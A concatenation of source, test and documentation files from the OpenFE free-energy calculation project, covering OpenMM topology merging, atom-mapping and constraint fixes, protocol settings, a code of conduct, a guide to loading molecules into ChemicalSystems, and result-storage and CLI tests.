topology2 in the new topology. """ if exclude_resids is None: exclude_resids = [] top = app.Topology() # create list of excluded residues from topology excluded_res = [ r for r in topology1.residues() if r.index in exclude_resids ] # get a list of all excluded atoms excluded_atoms = set(itertools.chain.from_iterable( r.atoms() for r in excluded_res) ) # add new copies of selected chains, residues, and atoms; keep mapping # of old atoms to new for adding bonds later old_to_new_atom_map = {} appended_resids = [] for chain_id, chain in enumerate( itertools.chain(topology1.chains(), topology2.chains())): # TODO: is chain ID int or str? I recall it being int in MDTraj.... # are there any issues if we just add a blank chain? new_chain = top.addChain(chain_id) for residue in chain.residues(): if residue in excluded_res: continue new_res = top.addResidue(residue.name, new_chain, residue.id) # append the new resindex if it's part of topology2 if residue in list(topology2.residues()): appended_resids.append(new_res.index) for atom in residue.atoms(): new_atom = top.addAtom(atom.name, atom.element, new_res, atom.id) old_to_new_atom_map[atom] = new_atom # figure out which bonds to keep: drop any that involve removed atoms def atoms_for_bond(bond): return {bond.atom1, bond.atom2} keep_bonds = (bond for bond in itertools.chain(topology1.bonds(), topology2.bonds()) if not (atoms_for_bond(bond) & excluded_atoms)) # add bonds to topology for bond in keep_bonds: top.addBond(old_to_new_atom_map[bond.atom1], old_to_new_atom_map[bond.atom2], bond.type, bond.order) # Copy over the box vectors top.setPeriodicBoxVectors(topology1.getPeriodicBoxVectors()) return top, np.array(appended_resids) def _get_indices(topology, resids): """ Get the atoms indices from an array of residue indices in an OpenMM Topology Parameters ---------- topology : openmm.app.Topology Topology to search from. residue_name : str Name of the residue to get the indices for. """ # TODO: remove, this shouldn't be necessary anymore if len(resids) > 1: raise ValueError("multiple residues were found") # create list of openmm residues top_res = [r for r in topology.residues() if r.index in resids] # get a list of all atoms in residues top_atoms = list(itertools.chain.from_iterable(r.atoms() for r in top_res)) return [at.index for at in top_atoms] def _remove_constraints(old_to_new_atom_map, old_system, old_topology, new_system, new_topology): """ Adapted from Perses' Topology Proposal. Adjusts atom mapping to account for any bonds that are constrained but change in length. Parameters ---------- old_to_new_atom_map : dict of int : int Atom mapping between the old and new systems. old_system : openmm.app.System System of the "old" alchemical state. old_topology : openmm.app.Topology Topology of the "old" alchemical state. new_system : openmm.app.System System of the "new" alchemical state. new_topology : openmm.app.Topology Topology of the "new" alchemical state. Returns ------- no_const_old_to_new_atom_map : dict of int : int Adjusted version of the input mapping but with atoms involving changes in lengths of constrained bonds removed. TODO ---- * Very slow, needs refactoring * Can we drop having topologies as inputs here? """ no_const_old_to_new_atom_map = deepcopy(old_to_new_atom_map) h_elem = app.Element.getByAtomicNumber(1) old_H_atoms = {i for i, atom in enumerate(old_topology.atoms()) if atom.element == h_elem and i in old_to_new_atom_map} new_H_atoms = {i for i, atom in enumerate(new_topology.atoms()) if atom.element == h_elem and i in old_to_new_atom_map.values()} def pick_H(i, j, x, y) -> int: """Identify which atom to remove to resolve constraint violation i maps to x, j maps to y Returns either i or j (whichever is H) to remove from mapping """ if i in old_H_atoms or x in new_H_atoms: return i elif j in old_H_atoms or y in new_H_atoms: return j else: raise ValueError(f"Couldn't resolve constraint demapping for atoms" f" A: {i}-{j} B: {x}-{y}") old_constraints: dict[[int, int], float] = dict() for idx in range(old_system.getNumConstraints()): atom1, atom2, length = old_system.getConstraintParameters(idx) if atom1 in old_to_new_atom_map and atom2 in old_to_new_atom_map: old_constraints[atom1, atom2] = length new_constraints = dict() for idx in range(new_system.getNumConstraints()): atom1, atom2, length = new_system.getConstraintParameters(idx) if (atom1 in old_to_new_atom_map.values() and atom2 in old_to_new_atom_map.values()): new_constraints[atom1, atom2] = length # there are two reasons constraints would invalidate a mapping entry # 1) length of constraint changed (but both constrained) # 2) constraint removed to harmonic bond (only one constrained) to_del = [] for (i, j), l_old in old_constraints.items(): x, y = old_to_new_atom_map[i], old_to_new_atom_map[j] try: l_new = new_constraints.pop((x, y)) except KeyError: try: l_new = new_constraints.pop((y, x)) except KeyError: # type 2) constraint doesn't exist in new system to_del.append(pick_H(i, j, x, y)) continue # type 1) constraint length changed if l_old != l_new: to_del.append(pick_H(i, j, x, y)) # iterate over new_constraints (we were .popping items out) # (if any left these are type 2)) if new_constraints: new_to_old = {v: k for k, v in old_to_new_atom_map.items()} for x, y in new_constraints: i, j = new_to_old[x], new_to_old[y] to_del.append(pick_H(i, j, x, y)) for idx in to_del: del no_const_old_to_new_atom_map[idx] return no_const_old_to_new_atom_map def get_system_mappings(old_to_new_atom_map, old_system, old_topology, old_resids, new_system, new_topology, new_resids, fix_constraints=True): """ From a starting alchemical map between two molecules, get the mappings between two alchemical end state systems. Optionally, also fixes the mapping to account for a) element changes, and b) changes in bond lengths for constraints. Parameters ---------- old_to_new_atom_map : dict of int : int Atom mapping between the old and new systems. old_system : openmm.app.System System of the "old" alchemical state. old_topology : openmm.app.Topology Topology of the "old" alchemical state. old_resids : npt.NDArray Residue ids of the alchemical residues in the "old" topology. new_system : openmm.app.System System of the "new" alchemical state. new_topology : openmm.app.Topology Topology of the "new" alchemical state. new_resids : npt.NDArray Residue ids of the alchemical residues in the "new" topology. fix_constraints : bool, default True Whether to fix the atom mapping by removing any atoms which are involved in constrained bonds that change length across the alchemical change. Returns ------- mappings : dictionary A dictionary with all the necessary mappings for the two systems. These include: 1. old_to_new_atom_map This includes all the atoms mapped between the two systems (including non-core atoms, i.e. environment). 2. new_to_old_atom_map The inverted dictionary of old_to_new_atom_map 3. old_to_new_core_atom_map The atom mapping of the "core" atoms (i.e. atoms in alchemical residues) between the old and new systems 4. new_to_old_core_atom_map The inverted dictionary of old_to_new_core_atom_map 5. old_to_new_env_atom_map The atom mapping of solely the "environment" atoms between the old and new systems. 6. new_to_old_env_atom_map The inverted dictionaryu of old_to_new_env_atom_map. 7. old_mol_indices Indices of the alchemical molecule in the old system. 8. new_mol_indices Indices of the alchemical molecule in the new system. """ # Get the indices of the atoms in the alchemical residue of interest for # both the old and new systems old_at_indices = _get_indices(old_topology, old_resids) new_at_indices = _get_indices(new_topology, new_resids) # We assume that the atom indices are linear in the residue so we shift # by the index of the first atom in each residue adjusted_old_to_new_map = {} for (key, value) in old_to_new_atom_map.items(): shift_old = old_at_indices[0] + key shift_new = new_at_indices[0] + value adjusted_old_to_new_map[shift_old] = shift_new # TODO: the original intent here was to apply over the full mapping of all # the atoms in the two systems. For now we are only doing the alchemical # residues. We might want to change this as necessary in the future. if not fix_constraints: wmsg = ("Not attempting to fix atom mapping to account for " "constraints. Please note that core atoms which have " "constrained bonds and changing bond lengths are not allowed.") warnings.warn(wmsg) else: adjusted_old_to_new_map = _remove_constraints( adjusted_old_to_new_map, old_system, old_topology, new_system, new_topology) # We return a dictionary with all the necessary mappings (as they are # needed downstream). These include: # 1. old_to_new_atom_map # This includes all the atoms mapped between the two systems # (including non-core atoms, i.e. environment). # 2. new_to_old_atom_map # The inverted dictionary of old_to_new_atom_map # 3. old_to_new_core_atom_map # The atom mapping of the "core" atoms (i.e. atoms in alchemical # residues) between the old and new systems # 4. new_to_old_core_atom_map # The inverted dictionary of old_to_new_core_atom_map # 5. old_to_new_env_atom_map # The atom mapping of solely the "environment" atoms between the old # and new systems. # 6. new_to_old_env_atom_map # The inverted dictionaryu of old_to_new_env_atom_map. # Because of how we append the topologies, we can assume that the last # residue in the "new" topology is the ligand, just to be sure we check # this here - temp fix for now for at in new_topology.atoms(): if at.index > new_at_indices[-1]: raise ValueError("residues are appended after the new ligand") # We assume that all the atoms up until the first ligand atom match # except from the indices of the ligand in the old topology. new_to_old_all_map = {} old_mol_offset = len(old_at_indices) for i in range(new_at_indices[0]): if i >= old_at_indices[0]: old_idx = i + old_mol_offset else: old_idx = i new_to_old_all_map[i] = old_idx # At this point we only have environment atoms so make a copy new_to_old_env_map = deepcopy(new_to_old_all_map) # Next we append the contents of the "core" map we already have for key, value in adjusted_old_to_new_map.items(): # reverse order because we are going new->old instead of old->new new_to_old_all_map[value] = key # Now let's create our output dictionary mappings = {} mappings['new_to_old_atom_map'] = new_to_old_all_map mappings['old_to_new_atom_map'] = {v: k for k, v in new_to_old_all_map.items()} mappings['new_to_old_core_atom_map'] = {v: k for k, v in adjusted_old_to_new_map.items()} mappings['old_to_new_core_atom_map'] = adjusted_old_to_new_map mappings['new_to_old_env_atom_map'] = new_to_old_env_map mappings['old_to_new_env_atom_map'] = {v: k for k, v in new_to_old_env_map.items()} mappings['old_mol_indices'] = old_at_indices mappings['new_mol_indices'] = new_at_indices return mappings def set_and_check_new_positions(mapping, old_topology, new_topology, old_positions, insert_positions, tolerance=1.0): """ Utility to create new positions given a mapping, the old positions and the positions of the molecule being inserted, defined by `insert_positions. This will also softly check that the RMS distance between the core atoms of the old and new atoms do not differ by more than the amount specified by `tolerance`. Parameters ---------- mapping : dict of int : int Dictionary of atom mappings between the old and new systems. old_topology : openmm.app.Topology Topology of the "old" alchemical state. new_topology : openmm.app.Topology Topology of the "new" alchemical state. old_positions : simtk.unit.Quantity Position of the "old" alchemical state. insert_positions : simtk.unit.Quantity Positions of the alchemically changing molecule in the "new" alchemical state. tolerance : float Warning threshold for deviations along any dimension (x,y,z) in mapped atoms between the "old" and "new" positions. Default 1.0. """ # Get the positions in Angstrom as raw numpy arrays old_pos_array = old_positions.value_in_unit(unit.angstrom) add_pos_array = insert_positions.value_in_unit(unit.angstrom) # Create empty ndarray of size atoms to hold the positions new_pos_array = np.zeros((new_topology.getNumAtoms(), 3)) # get your mappings new_idxs = list(mapping['old_to_new_atom_map'].values()) old_idxs = list(mapping['old_to_new_atom_map'].keys()) new_mol_idxs = mapping['new_mol_indices'] # copy over the old positions for mapped atoms new_pos_array[new_idxs, :] = old_pos_array[old_idxs, :] # copy over the new alchemical molecule positions new_pos_array[new_mol_idxs, :] = add_pos_array # loop through all mapped atoms and make sure we don't deviate by more than # tolerance - not super necessary, but it's a nice sanity check for key, val in mapping['old_to_new_atom_map'].items(): if np.any( np.abs(new_pos_array[val] - old_pos_array[key]) > tolerance): wmsg = f"mapping {key} : {val} deviates by more than {tolerance}" warnings.warn(wmsg) logging.warning(wmsg) return new_pos_array * unit.angstrom <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest from numpy.testing import assert_allclose, assert_ import numpy as np from openfe.setup import perses_scorers pytest.importorskip('perses') pytest.importorskip('openeye') from ....utils.silence_root_logging import silence_root_logging with silence_root_logging(): from perses.rjmc.atom_mapping import AtomMapper, AtomMapping USING_OLD_OFF = False @pytest.mark.xfail(not USING_OLD_OFF, reason='perses #1108') def test_perses_normalization_not_using_positions(gufe_atom_mapping_matrix): # now run the openfe equivalent with the same ligand atom _mappings scorer = perses_scorers.default_perses_scorer molecule_row = np.max(list(gufe_atom_mapping_matrix.keys()))+1 norm_scores = np.zeros([molecule_row, molecule_row]) for (i, j), ligand_atom_mapping in gufe_atom_mapping_matrix.items(): norm_score = scorer( ligand_atom_mapping, use_positions=False, normalize=True) norm_scores[i, j] = norm_scores[j, i] = norm_score assert norm_scores.shape == (8, 8) assert_(np.all((norm_scores <= 1) & (norm_scores >= 0.0)), msg="OpenFE norm value larger than 1 or smaller than 0") @pytest.mark.xfail(not USING_OLD_OFF, reason='perses #1108') def test_perses_not_implemented_position_using(gufe_atom_mapping_matrix): scorer = perses_scorers.default_perses_scorer first_key = list(gufe_atom_mapping_matrix.keys())[0] match_re = "normalizing using positions is not currently implemented" with pytest.raises(NotImplementedError, match=match_re): norm_score = scorer( gufe_atom_mapping_matrix[first_key], use_positions=True, normalize=True) @pytest.mark.xfail(not USING_OLD_OFF, reason='perses #1108') def test_perses_regression(gufe_atom_mapping_matrix): # This is the way how perses does scoring molecule_row = np.max(list(gufe_atom_mapping_matrix.keys()))+1 matrix = np.zeros([molecule_row, molecule_row]) for x in gufe_atom_mapping_matrix.items(): (i, j), ligand_atom_mapping = x # Build Perses Mapping: perses_atom_mapping = AtomMapping( old_mol=ligand_atom_mapping.componentA.to_openff(), new_mol=ligand_atom_mapping.componentB.to_openff(), old_to_new_atom_map=ligand_atom_mapping.componentA_to_componentB ) # score Perses Mapping - Perses Style matrix[i, j] = matrix[j, i] = AtomMapper( ).score_mapping(perses_atom_mapping) assert matrix.shape == (8, 8) # now run the openfe equivalent with the same ligand atom _mappings scorer = perses_scorers.default_perses_scorer scores = np.zeros_like(matrix) for (i, j), ligand_atom_mapping in gufe_atom_mapping_matrix.items(): score = scorer( ligand_atom_mapping, use_positions=True, normalize=False) scores[i, j] = scores[j, i] = score assert_allclose( actual=matrix, desired=scores, err_msg="openFE was not close to perses") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """Equilibrium Relative Free Energy Protocol input settings. This module implements the necessary settings necessary to run absolute free energies using :class:`openfe.protocols.openmm_rfe.equil_rfe_methods.py` """ from __future__ import annotations from typing import Optional from pydantic import validator from openff.units import unit import os from gufe.settings import ( Settings, SettingsBaseModel, OpenMMSystemGeneratorFFSettings, ThermoSettings, ) from openfe.protocols.openmm_utils.omm_settings import ( SystemSettings, SolvationSettings, AlchemicalSamplerSettings, OpenMMEngineSettings, IntegratorSettings, SimulationSettings ) class AlchemicalSettings(SettingsBaseModel): """Settings for the alchemical protocol This describes the lambda schedule and the creation of the hybrid system. """ # Lambda settings lambda_functions = 'default' """ Key of which switching functions to use for alchemical mutation. Default 'default'. """ lambda_windows = 11 """Number of lambda windows to calculate. Default 11.""" unsampled_endstates = False """ Whether to have extra unsampled endstate windows for long range correction. Default False. """ # alchemical settings use_dispersion_correction = False """ Whether to use dispersion correction in the hybrid topology state. Default False. """ softcore_LJ_v2 = True """ Whether to use the LJ softcore function as defined by Gapsys et al. JCTC 2012 Default True. """ softcore_electrostatics = True """Whether to use softcore electrostatics. Default True.""" softcore_alpha = 0.85 """Softcore alpha parameter. Default 0.85""" softcore_electrostatics_alpha = 0.3 """Softcore alpha parameter for electrostatics. Default 0.3""" softcore_sigma_Q = 1.0 """ Softcore sigma parameter for softcore electrostatics. Default 1.0. """ interpolate_old_and_new_14s = False """ Whether to turn off interactions for new exceptions (not just 1,4s) at lambda 0 and old exceptions at lambda 1. If False they are present in the nonbonded force. Default False. """ flatten_torsions = False """ Whether to scale torsion terms involving unique atoms, such that at the endstate the torsion term is turned off/on depending on the state the unique atoms belong to. Default False. """ class RelativeHybridTopologyProtocolSettings(Settings): class Config: arbitrary_types_allowed = True # Inherited things forcefield_settings: OpenMMSystemGeneratorFFSettings """Parameters to set up the force field with OpenMM Force Fields.""" thermo_settings: ThermoSettings """Settings for thermodynamic parameters.""" # Things for creating the systems system_settings: SystemSettings """Simulation system settings including the long-range non-bonded method.""" solvation_settings: SolvationSettings """Settings for solvating the system.""" # Alchemical settings alchemical_settings: AlchemicalSettings """ Alchemical protocol settings including lambda windows and soft core scaling. """ alchemical_sampler_settings: AlchemicalSamplerSettings """ Settings for sampling alchemical space, including the number of repeats. """ # MD Engine things engine_settings: OpenMMEngineSettings """Settings specific to the OpenMM engine such as the compute platform.""" # Sampling State defining things integrator_settings: IntegratorSettings """Settings for the integrator such as timestep and barostat settings.""" # Simulation run settings simulation_settings: SimulationSettings """ Simulation control settings, including simulation lengths and record-keeping. """ <file_sep>## Code of Conduct ## This project is dedicated to providing a welcoming and supportive environment for all people, regardless of background or identity. Members do not tolerate harassment for any reason, but especially harassment based on gender, sexual orientation, disability, physical appearance, body size, race, nationality, sex, color, ethnic or social origin, pregnancy, citizenship, familial status, veteran status, genetic information, religion or belief, political or any other opinion, membership of a national minority, property, age, or preference of text editor. ### Expected Behavior ### All participants in our events and communications are expected to show respect and courtesy to others. All interactions should be professional regardless of platform: either online or in-person. In order to foster a positive and professional working environment we encourage the following kinds of behaviors in all work events, activities, and platforms: * Use welcoming and inclusive language * Be respectful of different viewpoints and experiences * Gracefully accept constructive criticism * Focus on what is best for the community * Show courtesy and respect towards other community members Note: See the [four social rules](https://www.recurse.com/manual#sub-sec-social-rules) for further recommendations. ### Unacceptable Behavior ### Harassment is any form of behavior intended to exclude, intimidate, or cause discomfort. Prohibited harassing behavior includes, but is not limited to: * written or verbal comments which have the effect of excluding people * causing someone to fear for their safety, such as through stalking, following, or intimidating * the display of sexual or violent images * unwelcome sexual attention * non-consensual or unwelcome physical contact * sustained disruption of talks, events, or communications * incitement to violence, suicide, or self-harm * continuing to initiate interaction (including photography or recording) with someone after being asked to stop and * publication of private comment without consent This list should not be taken to be exhaustive, but rather as a guide to make it easier to enrich our community and all those in which we participate. All interactions should be professional regardless of location: Harassment is prohibited whether it occurs on or offline, and the same standards apply to both. Enforcement of this Code of Conduct will be respectful and not include any harassing behaviors. You deserve sincere thanks for helping to make this a welcoming, friendly community for all. This Code of Conduct was adpated from the [cmelab](https://github.com/cmelab/getting-started/blob/master/wiki/pages/Code_of_Conduct.md). <file_sep>.. _Loading Molecules: Loading your data into ChemicalSystems ====================================== One of the first tasks you'll likely want to do is loading your various input files. In ``openfe`` the entire contents of a simulation volume, for example the ligand, protein and water is referred to as the :class:`openfe.ChemicalSystem`. A free energy difference is defined as being between two such :class:`ChemicalSystem` objects. To make expressing free energy calculations easier, this ``ChemicalSystem`` is broken down into various ``Component`` objects. It is these ``Component`` objects that are then transformed, added or removed when performing a free energy calculation. .. note:: Once chemical models are loaded into Components they are **read only** and cannot be modified. This means that any modification/tweaking of the inputs must be done **before** the Component objects are created. This is done so that any data cannot be accidentally modified, ruining the provenance chain. As these all behave slightly differently to accomodate their contents, there are specialised versions of Component to handle the different items in your system. We will walk through how different items can be loaded, and then how these are assembled to form ``ChemicalSystem`` objects. Loading small molecules ----------------------- Small molecules, such as ligands, are handled using the :py:class:`openfe.SmallMoleculeComponent` class. These are lightweight wrappers around RDKit Molecules and can be created directly from an RDKit molecule: .. code:: from rdkit import Chem import openfe m = Chem.MolFromMol2File('myfile.mol2', removeHs=False) smc = openfe.SmallMoleculeComponent(m, name='') .. warning:: Remember to include the ``removeHs=False`` keyword argument so that RDKit does not strip your hydrogens! As these types of structures are typically stored inside sdf files, there is a ``from_sdf_file`` convenience class method: .. code:: import openfe smc = openfe.SmallMoleculeComponent.from_sdf_file('file.sdf') .. note:: The ``from_sdf_file`` method will only read the first molecule in a multi-molecule MolFile. To load multiple molcules, use RDKit's ``Chem.SDMolSupplier`` to iterate over the contents, and create a ``SmallMoleculeComponent`` from each. Loading proteins ---------------- Proteins are handled using an :class:`openfe.ProteinComponent`. Like ``SmallMoleculeComponent``, these are based upon RDKit Molecules, however these are expected to have the `MonomerInfo` struct present on all atoms. This struct contains the residue and chain information and is essential to apply many popular force fields. A "protein" here is considered as the fully modelled entire biological assembly, i.e. all chains and structural waters and ions etc. To load a protein, use the :func:`openfe.ProteinComponent.from_pdb_file` or :func:`openfe.ProteinComponent.from_pdbx_file` classmethod .. code:: import openfe p = openfe.ProteinComponent.from_pdb_file('file.pdb') Defining solvents ----------------- The bulk solvent phase is defined using a :class:`openfe.SolventComponent` object. Unlike the previously detailed Components, this does not have any explicit molecules or coordinates, but instead represents the way that the overall system will be solvated. This information is then interpreted inside the ``Protocol`` when solvating the system. By default, this solvent is water with 0.15 M NaCl salt. All parameters; the positive and negative ion as well as the ion concentration (which must be specified along with the unit) can be freely defined. .. code:: import openfe from openff.units import unit solv = openfe.SolventComponent(ion_concentation=0.15 * unit.molar) Assembling into ChemicalSystems ------------------------------- With individual components defined, we can then proceed to assemble combinations of these into a description of an entire **system**, called a :class:`openfe.ChemicalSystem`. The end result of this is a chemical model which describes the chemical topology (e.g. bonds, formal charges) and atoms' positions but does not describe the force field aspects, and therefore any energetic terms. The input to the `ChemicalSystem` constructor is a dictionary mapping string labels (e.g. 'ligand' or 'protein') to individual Components. The nature of these labels must match the labels that a given `Protocol` expects. For free energy calculations we often want to describe two systems which feature many similar components but differ in one component, which is the subject of the free energy perturbation. For example we could define two `ChemicalSystem` objects which we could perform a relative binding free energy calculation between as: .. code:: from openfe import ChemicalSystem, ProteinComponent, SmallMoleculeComponent, SolventComponent # define the solvent environment and protein structure, these are common across both systems sol = SolventComponent() p = ProteinComponent() # define the two ligands we are interested in m1 = SmallMoleculeComponent() m2 = SmallMoleculeComponent() # construct two systems, these only differ in the ligand input cs1 = ChemicalSystem({'ligand': m1, 'solvent': sol, 'protein': p}) cs2 = ChemicalSystem({'ligand': m2, 'solvent': sol, 'protein': p}) <file_sep>import pytest import click from openfecli.parameters.mapper import get_atommapper from openfe.setup import LomapAtomMapper @pytest.mark.parametrize("user_input,expected", [ ('LomapAtomMapper', LomapAtomMapper), ('openfe.setup.LomapAtomMapper', LomapAtomMapper), ]) def test_get_atommapper(user_input, expected): assert get_atommapper(user_input) is expected def test_get_atommapper_error(): with pytest.raises(click.BadParameter): get_atommapper("foo") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/gufe import warnings from typing import ClassVar from gufe.storage.errors import ( MissingExternalResourceError, ChangedExternalResourceError ) class ResultServer: """Class to manage communication between metadata and data storage. At this level, we provide an abstraction where client code no longer needs to be aware of the nature of the metadata, or even that it exists. """ def __init__(self, external_store, metadata_store): self.external_store = external_store self.metadata_store = metadata_store def _store_metadata(self, location): metadata = self.external_store.get_metadata(location) self.metadata_store.store_metadata(location, metadata) def store_bytes(self, location, byte_data): self.external_store.store_bytes(location, byte_data) self._store_metadata(location) def store_path(self, location, path): self.external_store.store_path(location, path) self._store_metadata(location) def delete(self, location): del self.metadata_store[location] self.external_store.delete(location) def validate(self, location, allow_changed=False): try: metadata = self.metadata_store[location] except KeyError: raise MissingExternalResourceError(f"Metadata for '{location}' " "not found") if not self.external_store.get_metadata(location) == metadata: msg = (f"Metadata mismatch for {location}: this object " "may have changed.") if not allow_changed: raise ChangedExternalResourceError( msg + " To allow this, set ExternalStorage." "allow_changed = True" ) else: warnings.warn(msg) def __iter__(self): return iter(self.metadata_store) def find_missing_files(self): """Identify files listed in metadata but unavailable in storage""" return [f for f in self if not self.external_store.exists(f)] def load_stream(self, location, allow_changed=False): self.validate(location, allow_changed) return self.external_store.load_stream(location) <file_sep>""" Tests the easy start guide - runs plan_rbfe_network with tyk2 inputs and checks the network created - mocks the calculations and performs gathers on the mocked outputs """ import pytest from importlib import resources from click.testing import CliRunner from os import path from unittest import mock from openff.units import unit from openfecli.commands.plan_rbfe_network import plan_rbfe_network from openfecli.commands.quickrun import quickrun from openfecli.commands.gather import gather @pytest.fixture def tyk2_ligands(): with resources.path('openfecli.tests.data.rbfe_tutorial', 'tyk2_ligands.sdf') as f: yield str(f) @pytest.fixture def tyk2_protein(): with resources.path('openfecli.tests.data.rbfe_tutorial', 'tyk2_protein.pdb') as f: yield str(f) @pytest.fixture def expected_transformations(): return ['easy_rbfe_lig_ejm_31_complex_lig_ejm_42_complex.json', 'easy_rbfe_lig_ejm_31_solvent_lig_ejm_50_solvent.json', 'easy_rbfe_lig_ejm_31_complex_lig_ejm_46_complex.json', 'easy_rbfe_lig_ejm_42_complex_lig_ejm_43_complex.json', 'easy_rbfe_lig_ejm_31_complex_lig_ejm_47_complex.json', 'easy_rbfe_lig_ejm_42_solvent_lig_ejm_43_solvent.json', 'easy_rbfe_lig_ejm_31_complex_lig_ejm_48_complex.json', 'easy_rbfe_lig_ejm_46_complex_lig_jmc_23_complex.json', 'easy_rbfe_lig_ejm_31_complex_lig_ejm_50_complex.json', 'easy_rbfe_lig_ejm_46_complex_lig_jmc_27_complex.json', 'easy_rbfe_lig_ejm_31_solvent_lig_ejm_42_solvent.json', 'easy_rbfe_lig_ejm_46_complex_lig_jmc_28_complex.json', 'easy_rbfe_lig_ejm_31_solvent_lig_ejm_46_solvent.json', 'easy_rbfe_lig_ejm_46_solvent_lig_jmc_23_solvent.json', 'easy_rbfe_lig_ejm_31_solvent_lig_ejm_47_solvent.json', 'easy_rbfe_lig_ejm_46_solvent_lig_jmc_27_solvent.json', 'easy_rbfe_lig_ejm_31_solvent_lig_ejm_48_solvent.json', 'easy_rbfe_lig_ejm_46_solvent_lig_jmc_28_solvent.json'] def test_plan_tyk2(tyk2_ligands, tyk2_protein, expected_transformations): runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(plan_rbfe_network, ['-M', tyk2_ligands, '-p', tyk2_protein]) assert result.exit_code == 0 assert path.exists('alchemicalNetwork/transformations') for f in expected_transformations: assert path.exists( path.join('alchemicalNetwork/transformations', f)) @pytest.fixture def mock_execute(expected_transformations): def fake_execute(*args, **kwargs): return { 'repeat_id': kwargs['repeat_id'], 'generation': kwargs['generation'], 'nc': 'file.nc', 'last_checkpoint': 'checkpoint.nc', 'unit_estimate': 4.2 * unit.kilocalories_per_mole } with mock.patch('openfe.protocols.openmm_rfe.equil_rfe_methods.' 'RelativeHybridTopologyProtocolUnit._execute') as m: m.side_effect = fake_execute yield m @pytest.fixture def ref_gather(): return """\ measurement\ttype\tligand_i\tligand_j\testimate (kcal/mol)\tuncertainty (kcal/mol) DDGbind(lig_ejm_42, lig_ejm_31)\tRBFE\tlig_ejm_31\tlig_ejm_42\t0.0\t0.0 DDGbind(lig_ejm_46, lig_ejm_31)\tRBFE\tlig_ejm_31\tlig_ejm_46\t0.0\t0.0 DDGbind(lig_ejm_47, lig_ejm_31)\tRBFE\tlig_ejm_31\tlig_ejm_47\t0.0\t0.0 DDGbind(lig_ejm_48, lig_ejm_31)\tRBFE\tlig_ejm_31\tlig_ejm_48\t0.0\t0.0 DDGbind(lig_ejm_50, lig_ejm_31)\tRBFE\tlig_ejm_31\tlig_ejm_50\t0.0\t0.0 DDGbind(lig_ejm_43, lig_ejm_42)\tRBFE\tlig_ejm_42\tlig_ejm_43\t0.0\t0.0 DDGbind(lig_jmc_23, lig_ejm_46)\tRBFE\tlig_ejm_46\tlig_jmc_23\t0.0\t0.0 DDGbind(lig_jmc_27, lig_ejm_46)\tRBFE\tlig_ejm_46\tlig_jmc_27\t0.0\t0.0 DDGbind(lig_jmc_28, lig_ejm_46)\tRBFE\tlig_ejm_46\tlig_jmc_28\t0.0\t0.0 DGcomplex(lig_ejm_31, lig_ejm_42)\tcomplex\tlig_ejm_31\tlig_ejm_42\t4.2\t0.0 DGsolvent(lig_ejm_31, lig_ejm_42)\tsolvent\tlig_ejm_31\tlig_ejm_42\t4.2\t0.0 DGcomplex(lig_ejm_31, lig_ejm_46)\tcomplex\tlig_ejm_31\tlig_ejm_46\t4.2\t0.0 DGsolvent(lig_ejm_31, lig_ejm_46)\tsolvent\tlig_ejm_31\tlig_ejm_46\t4.2\t0.0 DGcomplex(lig_ejm_31, lig_ejm_47)\tcomplex\tlig_ejm_31\tlig_ejm_47\t4.2\t0.0 DGsolvent(lig_ejm_31, lig_ejm_47)\tsolvent\tlig_ejm_31\tlig_ejm_47\t4.2\t0.0 DGcomplex(lig_ejm_31, lig_ejm_48)\tcomplex\tlig_ejm_31\tlig_ejm_48\t4.2\t0.0 DGsolvent(lig_ejm_31, lig_ejm_48)\tsolvent\tlig_ejm_31\tlig_ejm_48\t4.2\t0.0 DGcomplex(lig_ejm_31, lig_ejm_50)\tcomplex\tlig_ejm_31\tlig_ejm_50\t4.2\t0.0 DGsolvent(lig_ejm_31, lig_ejm_50)\tsolvent\tlig_ejm_31\tlig_ejm_50\t4.2\t0.0 DGcomplex(lig_ejm_42, lig_ejm_43)\tcomplex\tlig_ejm_42\tlig_ejm_43\t4.2\t0.0 DGsolvent(lig_ejm_42, lig_ejm_43)\tsolvent\tlig_ejm_42\tlig_ejm_43\t4.2\t0.0 DGcomplex(lig_ejm_46, lig_jmc_23)\tcomplex\tlig_ejm_46\tlig_jmc_23\t4.2\t0.0 DGsolvent(lig_ejm_46, lig_jmc_23)\tsolvent\tlig_ejm_46\tlig_jmc_23\t4.2\t0.0 DGcomplex(lig_ejm_46, lig_jmc_27)\tcomplex\tlig_ejm_46\tlig_jmc_27\t4.2\t0.0 DGsolvent(lig_ejm_46, lig_jmc_27)\tsolvent\tlig_ejm_46\tlig_jmc_27\t4.2\t0.0 DGcomplex(lig_ejm_46, lig_jmc_28)\tcomplex\tlig_ejm_46\tlig_jmc_28\t4.2\t0.0 DGsolvent(lig_ejm_46, lig_jmc_28)\tsolvent\tlig_ejm_46\tlig_jmc_28\t4.2\t0.0 """ def test_run_tyk2(tyk2_ligands, tyk2_protein, expected_transformations, mock_execute, ref_gather): runner = CliRunner() with runner.isolated_filesystem(): result = runner.invoke(plan_rbfe_network, ['-M', tyk2_ligands, '-p', tyk2_protein]) assert result.exit_code == 0 for f in expected_transformations: fn = path.join('alchemicalNetwork/transformations', f) result2 = runner.invoke(quickrun, [fn]) assert result2.exit_code == 0 gather_result = runner.invoke(gather, ['.']) assert gather_result.exit_code == 0 assert gather_result.stdout == ref_gather <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from .mol import MOL from .mapper import MAPPER from .output import OUTPUT_FILE_AND_EXT from .output_dir import OUTPUT_DIR from .protein import PROTEIN from .molecules import MOL_DIR, COFACTORS <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from openfe.utils import requires_package import pytest @requires_package('no_such_package_hopefully') def the_answer(): return 42 def test_requires_decorator(): with pytest.raises(ImportError): the_answer() <file_sep>import os import pytest from unittest import mock from gufe.storage.externalresource import MemoryStorage from gufe.tokenization import TOKENIZABLE_REGISTRY from openfe.storage.resultclient import ( ResultClient, TransformationResult, CloneResult, ExtensionResult ) @pytest.fixture def result_client(tmpdir): external = MemoryStorage() result_client = ResultClient(external) # store one file with contents "foo" result_client.result_server.store_bytes( "transformations/MAIN_TRANS/0/0/file.txt", "foo".encode('utf-8') ) # create some empty files as well empty_files = [ "transformations/MAIN_TRANS/0/0/other.txt", 